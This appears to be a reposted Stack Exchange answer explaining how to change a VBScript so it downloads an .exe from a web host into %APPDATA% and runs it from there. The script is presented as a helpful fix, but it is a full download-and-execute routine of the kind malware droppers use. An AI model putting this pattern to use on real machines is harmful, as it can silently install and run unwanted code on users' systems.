如何让VBS脚本将文件下载至%APPDATA%目录?
Modify VBS Script to Download to %APPDATA%
Got it, let's adjust your script so it saves the file directly to the %APPDATA% directory. The key here is resolving the %APPDATA% environment variable to its actual file system path, then combining it with your filename to get a full, valid save path.
Here's the updated script:
Dim http_obj, stream_obj, shell_obj Dim appdataPath, fullSavePath Set http_obj = CreateObject("Microsoft.XMLHTTP") Set stream_obj = CreateObject("ADODB.Stream") Set shell_obj = CreateObject("WScript.Shell") URL = "http://www.mikemurr.com/example.exe" FILENAME = "example.exe" ' Resolve %APPDATA% to its actual system path appdataPath = shell_obj.ExpandEnvironmentStrings("%APPDATA%") ' Combine path and filename with proper directory separator fullSavePath = appdataPath & "\" & FILENAME http_obj.open "GET", URL, False http_obj.send stream_obj.Type = 1 stream_obj.Open stream_obj.Write http_obj.responseBody ' Save the file to the resolved APPDATA path stream_obj.SaveToFile fullSavePath, 2 ' Run the executable directly from its APPDATA location shell_obj.Run fullSavePath ' Clean up objects (good practice to free resources) Set http_obj = Nothing Set stream_obj = Nothing Set shell_obj = Nothing
Key Changes Explained:
- Resolving
%APPDATA%: TheExpandEnvironmentStringsmethod converts the environment variable into the actual folder path (e.g.,C:\Users\YourUsername\AppData\Roamingon Windows), so the script knows exactly where to save the file. - Full Path Construction: We add a backslash (
\) between the%APPDATA%path and filename to ensure the path is properly formatted—this prevents accidental saving to the wrong directory if the script's current working directory isn't what you expect. - Updated Save/Run Logic: Using the
fullSavePathvariable for bothSaveToFileandRunensures the file is saved directly to%APPDATA%and executed from that location.
内容的提问来源于stack exchange,提问作者DissociatedFun
相关产品推荐
相关产品推荐

